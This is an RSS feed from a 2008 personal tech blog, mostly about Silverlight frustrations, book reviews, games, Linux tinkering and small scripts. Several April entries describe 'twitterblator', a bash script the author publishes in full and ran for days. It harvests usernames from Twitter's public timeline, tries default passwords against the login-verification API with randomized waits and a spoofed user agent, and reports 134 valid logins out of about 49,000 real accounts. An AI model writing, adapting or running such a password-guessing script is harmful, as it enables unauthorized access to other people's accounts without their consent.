First up is <a href="http://www.pay4foss.org/jumpstation/mousetrails/">mousetrails</a> which creates fading shaded 'balls' dynamically, very simple.
Then there is the <a href="http://www.pay4foss.org/jumpstation/twitternice/">twitternice</a> a twitter message data visualiser, with lots and LOTS of dynamic animation making looking at twitter feeds more interesting ;)
<a href="http://www.pay4foss.org/jumpstation/twitternice/screenshot.png">screen shot</a>
Whats clever about <a href="http://www.pay4foss.org/jumpstation/twitternice/">twitternice</a> is that if a proxy web service is available (included in <a href="http://www.pay4foss.org/jumpstation/twitternice/twitternice.zip">source code</a> then the messages used are 'live' but if not then ten static xml files are used instead (these have been anonymised)
I wonder how long before <a href="http://www.mono-project.com/Moonlight">Mono moonlight</a> release a 2 Beta 1 plugin for Firefox for Linux ?
</description>
</item>
<item>
<title>big buck bunny blender open movie released</title>
<pubDate>Tue, 03 Jun 2008 19:44:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2008.html#030620081944</link>
<description>
Check out the <a href="http://www.bigbuckbunny.org/">Big Buck Bunny</a> blender open movie <a href="http://www.bigbuckbunny.org/index.php/download/">here</a> WOW!!
Not only is every <a href="http://media.xiph.org/BBB/">single individual frame</a> available but all the <a href="http://graphicall.org/bbb/index.php">objects, textures, rigging setups, sounds</a> and soon a DVD image!
This follows on from the blender open movie <a href="http://www.elephantsdream.org/">elephants dream</a> which although technically impressive <a href="http://www.elephantsdream.org/">elephants dream</a> was rather abstract and non-mainstream i.e. not produced by Hollywood. <a href="http://www.bigbuckbunny.org/">Big Buck Bunny</a> on the other hand is very <a href="http://www.pixar.com>pixar</a>-like and easily consumed by average viewers being bright colourful and funny. Its worth pointing out that the <a href="http://peach.blender.org/">Peach</a> team created custom tools to aid in the films production (as with <a href="http://www.elephantsdream.org/">elephants dream</a>) and these changes will make there way back into the main blender application to benefit of all users.
</description>
</item>
<item>
<title>Compiz on a ten year old laptop</title>
<pubDate>Fri, 30 May 2008 21:49:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2008.html#300520082149</link>
<description>
Installed compiz on the 10 year old laptop and got the rotating cube (with reflection, caps, transparency and gears), wobbly windows, fire, 3D windows and few other options to work perfectly !
In fact the only problem I had was with them all on the machine would sometimes pause for couple of seconds and the menus in blender did not display.
I showed this amazing eye candy to Sarah and her response was "what am I looking at?" :(
The laptop benefits from having a proper Nvidia card in, many laptops old and new, expensive and cheap have Intel or unbranded on-board graphic cards that can not hack the 3D acceleration.
</description>
</item>
<item>
<title>ubuntu hardy heron update complete</title>
<pubDate>Sat, 24 May 2008 11:44:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2008.html#240520081144</link>
<description>
Ubuntu machine just stopped at 197 files rebooted and ... here we go again ...
Now upgrade fails because some files can not be downloaded, 5/2000+ :(
Switched from main Ubuntu GB servers to virgin and files are downloading ...
Update complete, rebooted and ... not wifi :(
Tried to rebuild custom wifi driver ... weird errors nothing on google, luckily I have a few wifi cards, tried another and that works, phew!
</description>
</item>
<item>
<title>ubuntu upgrade secret sauce</title>
<pubDate>Wed, 21 May 2008 22:08:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2008.html#210520082208</link>
<description>
I wanted to update my Ubuntu laptop so I let the update manager find new packages, found a few. Updated those and then rebooted ... and ... ?
No distribution upgrade to Hardy Heron.. googled and searched and eventually found the secret sauce to be<code>update-manager -d</code>
now upgrading ...
</description>
</item>
<item>
<title>good book In the Evil Day</title>
<pubDate>Mon, 19 May 2008 21:01:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2008.html#190520082101</link>
<description>
Book review from a few weeks ago.
"In the evil day" by Peter Temple, powerful spy thriller without the spies, loved it, a more adult approach to intense thrillers than Dan Brown.
If you think you can take it, I recommend it !
Starts in South Africa but soon swings between Hamburg and London as the two lead characters are slowly intertwined with repressed memories and force that is wiping out all traces ... of what !
</description>
</item>
<item>
<title>the end is near 119 stars</title>
<pubDate>Sun, 11 May 2008 22:54:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2008.html#110520082254</link>
<description>
119 stars !!
Unfortunately the last level is a real <a href="http://jetlogs.org/2007/11/21/super-mario-galaxy-toy-time-purple-coin-challenge/">doozy</a>
</description>
</item>
<item>
<title>silverlight and the mouse exit bubbling failure</title>
<pubDate>Thu, 08 May 2008 21:06:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2008.html#080520082106</link>
<description>
More silverlight woes, but I am unsure if this is a bug or not.
An object (in this case a circle) with a mouse-over that shows a tooltip, a name and mouse-exit that hides said tooltip.
Works perfectly if the mouse enters the circle and exist without touching the tooltip, but if the mouse moves over the now displayed tooltip the circle receives the mouse-exit and hides the tooltip then the mouse moves and the tooltip is shown again, flickering on and off.
Silverlight has a HitTest function so I should be able to test to see if the entry into the tooltip is in-fact still over the circle but NO the mouse-exit refuses to tell you where the mouse is.
hmmm? So I wrote a global mouse-move update global position handler and ...
Same issue. Turns out the mouse-move fires as the mouse moves to the edge of the circle but the moment the mouse exist the mouse-exit fires and at that point my global position is still inside the circle, grrrrrr!
Not sure how to fix this one, the obvious way is to move the tooltip but that spoils the whole look of the application.
</description>
</item>
<item>
<title>silverlight moans</title>
<pubDate>Thu, 08 May 2008 20:58:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2008.html#080520082058</link>
<description>
Todays reason for disliking silverlight:
Error messages; Either you get "Catastrophic Failure" which actually means the XAML is referring to an object that does not exist or one of a number of generic error messages that tell you absolutely nothing about the issue.
I will expand on that last one with an example. I wanted to dynamically create an object and animate it. To do this I had to create a Storyboard to hold the animation, create the object and assign it a render transform (e.g. rotate), create a doubleanimation (thats double as in floating point number), stick them all together and apply them to the root canvas.
This compiled but when I started the animation I would get either an ERROR or and ERROR and a known meaningless hex value. I tried all sorts of things, turned out that the Render Transform had to be created separately and assigned instead of being used from within the valid element I was using.
And another gotcha on that side of things, a doubleanimation has a target property e.g. Angle for a rotate transform and Opacity when you are fading in or out. But where with Opacity (and a number of other animation types) you target the object for rotate you must target the render transform IN the object, even though you are explicitly referencing Angle ...
I found a proper silverlight bug (that I reported), a border object in a canvas is not displayed when said canvas is dynamically unhidden, everything else on the canvas is unhidden along with it but the border stays invisible.
</description>
</item>
<item>
<title>Mario Galaxy vs Mario cart for the Wii</title>
<pubDate>Tue, 29 Apr 2008 22:47:22 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#290420082247</link>
<description>
*grumble* *grumble* silverlight f*%$^ ...
While not hating silverlight I am trying to complete Mario Galaxy on the Wii, now up to 116 stars out of 120 but ...
Sarah ordered Mario Cart for the Wii for my birthday, it did not turn up. We rang after a week and were told we had to wait at least seven working days.Still did not show up so rang got our money back. At the weekend I spent sometime in the garden with Alex, it just so happened that by pure fluke I followed the football we were playing with down the side alley and there was a cardboard box under so empty bags.
So we paid (again) and I have Mario Cart for the Wii with the steering wheel. Only got a to try it for a short while but seems a lot of fun and the online stuff had zero lag.
</description>
</item>
<item>
<title>Wild fire book review</title>
<pubDate>Sat, 26 Apr 2008 22:24:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#260420082224</link>
<description>
When I am not busy hating silverlight I have been reading "Wild Fire" by Nelson Demille.
My Dad lent me this so I had not read the jacket before starting, this gave me a much more enjoyable experience, but as most people read the jackets before choosing a book I wonder what everyone else's experience was like.
First off I liked this book, it was funny, gritty and down right entertaining, and sometimes that's all you want so I am pleased to say this book offered that little bit more. 
Everything (that could be) seemed routed in reality and the list of acknowledgments attests to how thorough the author is which took away from the problems in a Dan Brown books <a href="http://www.jumpstation.co.uk/flog/Nov2005.html#15112005">[1]</a> <a href="http://www.jumpstation.co.uk/flog/Nov2005.html#16112005">[2]</a> <a href="http://www.jumpstation.co.uk/flog/Jan2006.html#29012006">[3]</a>.
Perfect page turner, not to deep but enough to keep you interested and nothing so far out there it breaks the spell.
</description>
</item>
<item>
<title>source for IDOUDO silverlight game</title>
<pubDate>Thu, 24 Apr 2008 21:36:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#240420082136</link>
<description>
Here is the promised source
<a href="http://www.pay4foss.org/jumpstation/idoudo/Page.xaml">Page.xaml</a>
<a href="http://www.pay4foss.org/jumpstation/idoudo/Page.xaml.cs">Page.xaml.cs</a>
Images and sound are in the <a href="http://www.pay4foss.org/jumpstation/idoudo/ClientBin/slOverclick.xap">ClientBin/slOverclick.xap</a> file with is a zip file, just rename it.
Todays reasons to hate silverlight, does not handle GIF files and crossdomain.xml is flakey.
</description>
</item>
<item>
<title>idoudo silverlight game released</title>
<pubDate>Wed, 23 Apr 2008 21:33:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#230420082133</link>
<description>
I still hate silverlight but at least I managed to produce a small game with it.
 http://www.pay4foss.org/jumpstation/idoudo
Obviously it requires the silverlight plugin so for you with that or a working moonlight, it is a simple simon type game with blocks (rendered in Blender) that light up in a sequence that you must repeat getting longer and longer.
There is also sound created from scratch in audacity and an ear created in inkscape.
Before you can start you must click the button marked "click to begin", this caused be no end of problems as one of the (many) known bugs with silverlight is you can not change the visibility of a button in its own onclick event.
Then there is the "you can not play the same sound more than once" bug and many MANY others.
So although this is a simple game it was a  struggle to get it to do the simplest things.
I will not mention mime types or URI references ...
Source tomorrow, when I have tidied it a bit.
</description>
</item>
<item>
<title>twitterblator final numbers</title>
<pubDate>Mon, 21 Apr 2008 21:25:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#210420082125</link>
<description>
And the final twitterblator results are ...
134 hits (validated passwords) out of 49226 unique attempts.
Thats 1 in 367, which is pretty good really.
Remember as with any statistics this 1 in 367 is during the duration and date of my experiment, tomorrow no accounts used may be susceptible and the day after all the accounts used maybe bad.
As for future twitter experiments I have actually gone off the idea due to time it would take and instead I now playing with sliverlight.
Silverlight hates me and I hate silverlight (at the moment).
</description>
</item>
<item>
<title>twitterblator conclusions</title>
<pubDate>Sun, 20 Apr 2008 22:44:27 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#200420082244</link>
<description>
twitterblator conclusions:
*Is running this evil? No, I do not record badly secured accounts nor do *ANYTHING* with them.
*Is the releasing the code evil? Hmmm, in theory any code can be subverted, I see nothing that is difficult or clever or even "script kiddie" friendly in the twitterblator code.
*Can twitter stop twitterblator? Yes, but it would be very hard for them. Either they profile usage i.e. check the repeated checks of accounts from a single IP address or lock down the API and access to twitter, this would kill hundreds of existing applications and web sites.
*Can twitterblator be used or modified for use with other micro blog sites? Yes, but it may take a lot of work due to *most* sites locking down the sort of access twitterblator make use of. Twitter has a verify account API option, I never *tried* to log this accounts in.
*What was the final ratio of secure to insecure accounts? answer tomorrow... 
I was going to release the results under a "unnamed social site" but as so few users are affected I am happy to shout TWITTER all over the place.
Also, remember that if a user did not twit or was set to a private account during the test then they were not included.
Now for my next twitter project (as the source is so rich) ...   ;)
</description>
</item>
<item>
<title>twitterblator source code</title>
<pubDate>Sat, 19 Apr 2008 21:32:21 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#190420082132</link>
<description>
OK the twitterblator code, short and sweet<code>#!/bin/bash
# twitterblator tb.sh
# 16/04/2007 - 
# tests twitter accounts for 'default' passwords
# see README for more information

USERAGENT=`cat agentstring.dat`
TEMPFILEUSERS="temp.users"
TEMPFILEUSERSDD="temp.usersdd"
TEMPFILEACCESS="temp.access"
DATABASE="db.users"
VERIFYURL="http://twitter.com/account/verify_credentials.xml"
SOURCEURL="http://twitter.com/statuses/public_timeline.rss"
HITDB="db.hit"
TEMPFILEHITS="temp.hit"

wget --quiet --wait=4 --random-wait -O - -U "$USERAGENT" $SOURCEURL | grep "^\W*&lt;guid&gt;" | sed -e 's/.*com\/\([^\/]*\).*/\1/gi' &gt; $TEMPFILEUSERS

# do deduping here
rm -f $TEMPFILEUSERSDD
touch $TEMPFILEUSERSDD
echo "Deduping"
echo "|--------------------|" # most likey 20 lines
echo -n " "
while read line; do
	echo -n ":"
	grep -w -q $line $DATABASE || echo $line &gt;&gt; $TEMPFILEUSERSDD
done &lt; $TEMPFILEUSERS
if [ -e $TEMPFILEUSERSDD ]; then
	cat $TEMPFILEUSERSDD &gt;&gt; $DATABASE
fi
echo ""

# setup usernames and passwords
awk  '{ if (length&gt;5) printf("--user=%s --password=%s\n",$0,$0); else printf("--user=%s --password=password\n",$0); }' $TEMPFILEUSERSDD &gt; $TEMPFILEACCESS 

# check accounts
rm -f $TEMPFILEHITS
echo "checking accounts"
echo "|--------------------|"  # most likey up to 20
echo -n " "
touch $TEMPFILEHITS
while read line; do
	echo -n ":"
	wget --quiet --wait=4 --random-wait --delete-after -U "$USERAGENT" $line $VERIFYURL &amp;&amp; echo 1 &gt;&gt; $TEMPFILEHITS
done < $TEMPFILEACCESS
echo ""

# report results
echo -n "found "
if [ -e $TEMPFILEHITS ]; then
	echo -n `wc -l $TEMPFILEHITS | cut -d " " -f 1`
else
	echo -n "0"
fi
echo " hits in last attempt"
cat $TEMPFILEHITS &gt;&gt; $HITDB

echo -n "that is a total of "
if [ -e $HITDB ]; then
	echo -n `wc -l $HITDB | cut -d " " -f 1`
else
	echo -n "0"
fi
echo -n " hits for "
echo -n `wc -l $DATABASE | cut -d " " -f 1`
echo " users"

# tidy up temp files
rm -f $TEMPFILEUSERS
rm -f $TEMPFILEUSERSDD
rm -f $TEMPFILEACCESS
rm -f $TEMPFILEHITS </code>
As always I could have done it very differently, less temp files, different language etc. but this was a quick hack and I was presently surprised how quickly I got the AWK and the deduping working :)
</description>
</item>
<item>
<title>too twit to twoo</title>
<pubDate>Fri, 18 Apr 2008 17:37:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#180420081737</link>
<description>
Twitterblator update. Its been running for over 16 hours and<code>Deduping
|--------------------|
::::::::::::::::::::
checking accounts
|--------------------|
::::::::::
found 0 hits in last attempt
that is a total of 47 hits for 11939 users</code>
It's worth noting at this point that twitterblater is not in violation of the <a href="http://twitter.com/tos">Terms of Service</a> as once an account has been verified nothing is done, i.e. the user is not logged on. Nor is any information pertaining to which user was verified or what type of default password was used is recorded.
<code>while true; do sleep 65; sh tb.sh; done</code>
I have got to say for a service that lets you use its system *WITHOUT* verifying your email address I expected a much higher hit count. But one thing I did notice is lots of twitterers have non English user names and posts so maybe I should trying the localised version of "password" :)
The "Deduping" section above make sure the regular posters are not repeatedly targeted and the number of ":" under "checking accounts" is the number of new unique usernames to try out of the twenty received each time.
So at the end of this I am going to have a text file with thousands of usernames ...
Oh, publishing the code, erm maybe tomorrow ...
</description>
</item>
<item>
<title>launch of the twitterblator</title>
<pubDate>Thu, 17 Apr 2008 22:54:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#170420082254</link>
<description>
<a href="http://twitter.com/steevc">Steve</a> alerted me to <a href="http://www.twitter.com/">twitter</a>,a <a href="http://en.wikipedia.org/wiki/Micro-blogging">microblog</a> site that can be easily updated.
I decided to have a look after I saw <a href="http://crashcorp.com/twitter/answerme">answerme</a> and noticed it was accessing *everyone's* twitters, though that turned out to be just public twitters.
Time to have a look at <a href="http://www.twitter.com/">twitter</a>. First off there is a public "latest posts" <a href="http://twitter.com/statuses/public_timeline">page</a> with an <a href="http://twitter.com/statuses/public_timeline.rss">rss</a> option, not only easy to scrape but application developers are encouraged to do so.
Its worth noting at this point that the *many* twitter alternatives lock this functionality down by requiring access via a registered APPID (application identifier supplied by the site owners).
Next, instead of having to connect via a POST HTML form twitter allows anyone to *try* a username and password combination and return success or failure.
So it took me almost no time to write a bash script that;
Retrieved the latest public twitterings.
Parsed out all the user names.
Tried each user name along with a default password.
Logged if the combination was a success.
Reported how many hits had been found against the total attempted.
Default password is either the user name or "password" as twitter passwords have to be 6 characters or more.
Currently <code>Deduping
|--------------------|
::::::::::::::::::::
checking accounts
|--------------------|
::::::::::::::::
found 0 hits in last attempt
that is a total of 3 hits for 800 users</code>
Now to leave it over night ...
And the name for this naughtiness ? the twitterblator.
</description>
</item>
<item>
<title>a cat named the book of the dead</title>
<pubDate>Mon, 14 Apr 2008 21:49:03 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#140420082149</link>
<description>
The <a href="http://www.jumpstation.co.uk/flog/Jul2007.html#020720072200">last book review</a> was almost a 9 months ago, I am sure I have read something since then ...
I got a signed copy of <a href="http://www.amazon.co.uk/Cat-Called-Birmingham-Chris-Pascoe/dp/0340836040">A Cat Called Birmingham</a>(paperback), the author lives near my mum. Looked a bit odd, subtitled "A biography of nine lives" but was actually really good.
Read a bit like a number of blog posts recounting events in the cat+owners lives, very easy to read guaranteed to make you laugh out loud or at least chuckle. Which itself is odd due to most of these "events" relating to cat-tastrophes of a painful nature.
Since then I have also read <a href="http://www.amazon.ca/Book-Dead-Patricia-Cornwell/dp/0399153934">"Patricia Cornwell's Book of the Dead"</a> which was a gift from my Aunt.
This book has the grip of Dan brown book but with out the constant feeling you do not want to be reading it. Very well done, three dimensional characters and twisting interweaving story line that at one point I was worried was going to come out all 'Hollywood' and spoil everything but left me with a contended feeling I read a good book !
</description>
</item>
<item>
<title>boa 502 cgi error</title>
<pubDate>Sat, 12 Apr 2008 20:01:31 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2008.html#120420082001</link>
<description>
<a href="http://www.boa.org/">Boa</a> cgi and <code>502 Bad Gateway</ br>
The CGI was not CGI/1.1 compliant.</code>
even with the simplest perl script, turns out that all CGi scripts *MUST* output the mime type of the content e.g.
<code>#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "zombie"</code>
just to get the single word output "zombie"
Surprisingly this information does not appear anywhere for the 502 error but if you read numerous CGI "getting-started" tutorials the requirement is made. Some web servers have a directive to disable the requirement.
<a href="http://www.boa.org/">Boa</a> is currently running on my <a href="http://www.nslu2-linux.org/">NSlu2</a>
</description>
</item>
<item>
<title>the finger mouse future is here</title>
<pubDate>Mon, 07 Apr 2008 21:29:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/</link>
<description>
WOW! I need to buy shares in the company making anything called a <a href="http://usb.brando.com.hk/prod_detail.php?prod_id=00187">USB Finger Mouse</a>
The future is here
</description>
</item>
<item>
<title>EXIF data to file stamp script</title>
<pubDate>Sat, 29 Mar 2008 23:34:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#290320082334</link>
<description>
I have been updating the Alex web site and I needed to sort through 113 images that had been taken on different days but uploaded and the same time and had the same time stamp.
Konqueror would show me the real "creation date" when I hovered over an image but in the View menu "Show Create Date" column option was grayed out.
Turns out the Creation date is part of the JPEG meta data not the file data sooo ...
I downloaded <a href="http://johnst.org/sw/exiftags/">exiftags</a> to get some command line tools that look at photo meta data EXIF data.
Then I wrote this small shell script, worked perfectly.
<code>#!/bin/bash
#takes supplied file name extracts exif creation information and applies via touch
#call with ls *.jpg | xargs -n 1 exiffix.sh
# to update all jpg files in current directory

dtstamp=`exiftime $1 | grep Gen | sed -e 's/[^0-9]//gi' -e 's/\([0-9][0-9]\)$/\.&amp;/'`
touch -m -t $dtstamp $1</code>
Small note, any backup software/scripts may exclude these files as the dates are further in the past.
</description>
</item>
<item>
<title>tmp get wiped on reboot</title>
<pubDate>Tue, 25 Mar 2008 20:38:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#250320082038</link>
<description>
Note to self:
/tmp get wiped on reboot.
I have not lost anything important but I did have some stuff in there that I was still using :(
that will teach me to have 150+ uptime.
</description>
</item>
<item>
<title>funny and clever</title>
<pubDate>Wed, 19 Mar 2008 21:41:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#190320082141</link>
<description>
Funny and clever ?
http://www.abyssandapex.com/200710-wikihistory.html
</description>
</item>
<item>
<title>111 stars</title>
<pubDate>Tue, 11 Mar 2008 23:01:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#110320082301</link>
<description>
111 stars 6 to go before 00 but at least 9 to go before all and then do all again as Lugi !
Some are not as difficult as they first appear only requiring a bit of strategy.
</description>
</item>
<item>
<title>wifi fixed on zaurus</title>
<pubDate>Tue, 11 Mar 2008 23:00:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#110320082300</link>
<description>
OK, fixed wifi, the sync cable network interface was taking precedence, even though it was not connected. 
</description>
</item>
<item>
<title>zaurus reborn as angstrom</title>
<pubDate>Tue, 11 Mar 2008 22:57:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#110320082257</link>
<description>
The following took place a few days ago...
<a href="http://www.jumpstation.co.uk/flog/year2004.html">many moons ago</> I purchased a <a href="http://en.wikipedia.org/wiki/Sharp_Zaurus">zaurus 860</a> and I used the default sharp ROM.
But there was only add hoc development of programs I wanted to run so I switched to <a href="http://my-zaurus.narod.ru/cacko.html">cacko</a> ROM.
After sometime this too became unstaffed (there was only ever one developer/maintainer) so I sought out the many different ROMS available, looking for one that was in active development.
I thought my search had ended when I found <a href="http://www.pdaxrom.org/">pdaXrom</a> but last year after enjoying very active development community all development <a href="http://www.oesf.org/forum/index.php?showtopic=25186">stopped</a> :)
I had looked around and found <a href="http://www.angstrom-distribution.org/">Angstrom</a> but it was targeting lots of PDAs and no stable releases had been released back then. Well I had another look and it is much more spritely now.
<a href="http://www.pdaxrom.org/">pdaXrom</a> was famous for its <a href="http://www.pdaxrom.org/?q=node/106">uboot system</a>, so I had to revert to the original sharp ROM but installing <a href="http://www.angstrom-distribution.org/">Angstrom</a> was then easy.
Wifi support was the main problem I had had with the zaurus, so I was very pleasantly surprised that it worked perfectly, though there was no obvious dhcp client, had to use the GUI (now found udhcpc).
So everything was hunky dory ? almost. I used the package management system to install applications I wanted one after another via the wifi until "Error: no space on device". Oops! I had forgotten how small the internal drive is.
I had a 512mb SD card in the machine soooo.. I was VERY sneaky, I do not recommend you follow what happens next ...
I used du to find out that most of the space was being used by /usr, so I created a copy on my SD card and tried to make a symlink to that directory but couldn't cos the drive was FAT16 (needed for all the ROM swapping). 
Reformatted ext2, re-copied /usr successfully created a symlink from /usR to the /usr on the SD card moved the original /usr to /usr.old and moved the /usR sylink to /usr and rebooted ...
It worked everything worked perfectly ... NOT! most things worked but the special keys on the keyboard were failing so I could not type "/" which was a pain, luckily I could use the on-screen keyboard but it still took ages to run commands etc.
The "Fn" modifier key was returning a "~" and shift was not affecting the other keys as expected.
Turns out the loadkeys command was in /usr/bin and was run before the drive was mounted ;)
Copied over the loadkey cut and awk commands to /bin but it needs libconsole from... u guessed it /usr/lib.
In the end I just moved the startup script for loadkeys to the end of the sequence after the drivers are mounted.
hmmmm, now wifi is not working :(
</description>
</item>
<item>
<title>Untraceable movie not bad</title>
<pubDate>Tue, 11 Mar 2008 22:55:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#110320082255</link>
<description>
Just saw <a href="http://www.imdb.com/title/tt0880578/">Untracable</a> a movie about an internet website setup to kill the victims faster the more people log on.
Strangely enough this is a good film, not an amazing film but above average. There are moments of over acting and when the FBI officer states the "IPs are being blacklisted" she looks like she's faking it.
However, the tech speak, tech story and tech usage is about 95% accurate, some minor hollywoodnisms but on the whole total believable, of course things are missing and I am sure the FBI would work slightly differently but ...
This such a change from for instance the computer usage in first <a href="http://www.imdb.com/title/tt0117060/">mission impossible film</a> and numerous others where Hollywood just did what ever the hell it liked and damn the techno geeks watching.
<a href="http://www.imdb.com/title/tt0880578/">Untraceable</a> also asks a lot of questions, like are the visitors technical accomplices? and what is the FBIs role in free speech. 
</description>
</item>
<item>
<title>STOP THE PHUN</title>
<pubDate>Tue, 04 Mar 2008 22:36:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#040320082236</link>
<description>
In other news "FOR PETE's SAKE WILL SOMEONE STOP! THE <a href="http://www.acc.umu.se/~emilk/">PHUN</a>" as it is sucking time I should be devoting to krum and other such projects.
That said I created a wicked block launcher fed by a hoper that fires different weighted blocks all over the palce including into a set of almost weightless towers that crumbly most pleaseingly ;)
</description>
</item>
<item>
<title>a chat star is reborn</title>
<pubDate>Tue, 04 Mar 2008 22:29:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#040320082229</link>
<description>
Sanity is restore, this a repeat of an earlier post that got removed, but will be duplicated in the RSS.
It took a while ( I have been sick) but here is <a href="http://www.pay4foss.org/jumpstation/chatstar/chatstar.html">chat&#9734;</a>, enjoy.
</description>
</item>
<item>
<title>FAIL again</title>
<pubDate>Tue, 04 Mar 2008 22:26:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#040320082226</link>
<description>
Main page is gone so is my other post, trying again ...
</description>
</item>
<item>
<title>FAIL</title>
<pubDate>Tue, 04 Mar 2008 22:20:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#040320082220</link>
<description>
Oh! something went wrong, we went off the air for a moment, lets see if just posting again fixes it...
</description>
</item>
<item>
<title>a chat star is born</title>
<pubDate>Tue, 04 Mar 2008 22:04:21 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2008.html#040320082204</link>
<description>
It took a while ( I have been sick) but here is <a href="http://www.pay4foss.org/jumpstation/chatstar/chatstar.html">chat&#9734;</a>, enjoy.
</description>
</item>
<item>
<title>shiney star is on the horizon</title>
<pubDate>Wed, 27 Feb 2008 22:38:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#270220082238</link>
<description>
chat&#9734; is coming, in fact it would have been tonight if I had not misplaced a couple of image files...
there is always tomorrow, except I am not doing it then, so maybe Friday.
</description>
</item>
<item>
<title>blender and the case of the unduplicated materials</title>
<pubDate>Wed, 27 Feb 2008 21:18:59 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#270220082118</link>
<description>
Do you remember my <a href="http://www.jumpstation.co.uk/flog/Aug2007.html#130820072206">blender frustrations</a> trying to add a "label" to a glass "jar" ?
I thought I would just do something really simple with the completed object, duplicate it many times at put it on a shelf. So I duplicated the object a few times did a test render and ....
The label was only showing on the original. Checked every thing was in place and after a little head scratching found that my solution of using an Empty to define where the "label" should go was not being duplicated or more the fact it was. 
A duplicate contained all the object making up the "jar" including the Empty for the "label" but the material details were all pointing to the original Empty.
After much search I found no way to duplicate the material settings in the blender GUI so I turned to python <a href="http://saltshaker.sf.net">again</a>.
Not easy and not quick, the final code can be downloaded for educational purposes only <a href="shelved.py">shelved.py</a>
You see I had to..
get currently selected object
make MASTER group
add selected objects into the group
make a NEW group
duplicate the MASTER group (this was easy, just ask for a duplicate and tick the box that say new material/texture)
add the new objects into the NEW group
loop through objects and find the "label" and "Empty"
get the materials for the "label" 
get the textures for the materials of the "label"
assign the new Empty to the texture of the "label"
(then for fun)
randomly rotate the contents of the "jar"
randomly shift the label slightly
unselect the new objects
select the old MASTER group 
rinse and repeat.
It took me sometime to come to that solution and I learned a lot. I have yet to actually make the shelf and produce a final render ...
</description>
</item>
<item>
<title>93 stars mario galaxy wii</title>
<pubDate>Wed, 27 Feb 2008 20:55:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#270220082055</link>
<description>
I have complete Mario Galaxy -ish, well I got the star count down to 0, beat bowser, got the credits and the "the End" message but..
I loaded the save and the counter had reset to more than 40 ! I have now unlocked all the rooms including the "gate" and the "garden" and opened and completed the "trials" leaving me with 93 stars and count down of 27.
I have completed very few of the comets or the purple coin challenges but I have completed all the individual challenges.
The difficult ramped up pretty quickly after the first 50 stars, now every time you reach one you really feel you earned it.
</description>
</item>
<item>
<title>are spammers lazy or just plain stupid</title>
<pubDate>Wed, 27 Feb 2008 20:49:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#270220082049</link>
<description>
Getting a few hundred spams a day means the likelihood of reading any one is very small but for some reason this one caught my eye<code>From: 
NationWide Building Society [phishing@nationwide.co.uk]
To: spam@jumpstation.co.uk
Date: Sunday 16:46:06
Subject: Dear customer</code>
Are spammers lazy or just plain stupid ?
</description>
</item>
<item>
<title>we won the lottery</title>
<pubDate>Sun, 17 Feb 2008 22:03:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#170220082203</link>
<description>
We have won the lottery !! and its more than the &pound;10 we normally win once a year at Xmas.
Thats right we are now ........
&pound;58 richer :(
hmmmm does not even come close to the amount we have spent on tickets, still, you have to be in it to win it!
</description>
</item>
<item>
<title>NSlu2 is born debian</title>
<pubDate>Sun, 17 Feb 2008 21:55:01 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#170220082155</link>
<description>
I love valentines. When I first meet my wife she got me a wicked ceiling based flying apache helicopter and this year she has not disappointed.
I got her a nice necklace and she got me a <a href="http://www.nslu2-linux.org">slug</a>!!
The NSlu2 (aka the slug) is cheap network storage adapter. You connect a USB hard drive and an Ethernet connection and that USB hard drives contents are available to your network.
Or you can install <a href="http://www.cyrius.com/debian/nslu2/install.html">debian</a> on it, guess what I am going to do/done?
First off I purchase a cheap 4G USB microdrive thinking the fact it is hard drive would help the life of use as standard USB flash drives are not ideal system drives with constant reads and writes, how wrong could I be ?
First up the NSlu2 has a default IP address of 192.168.1.77 which is not on my subnet, so change my subnet and try connect to the built in web server ... FAIL
I tried a few things including forcing a full system reset to factory defaults and using an old 10bT network hub (couldn't find my cross over cable) before it dawned on me the fact my pings were denied instead of timing out was the firewall was setup for my subnet and was stopping any action on 192.168.1.x :(
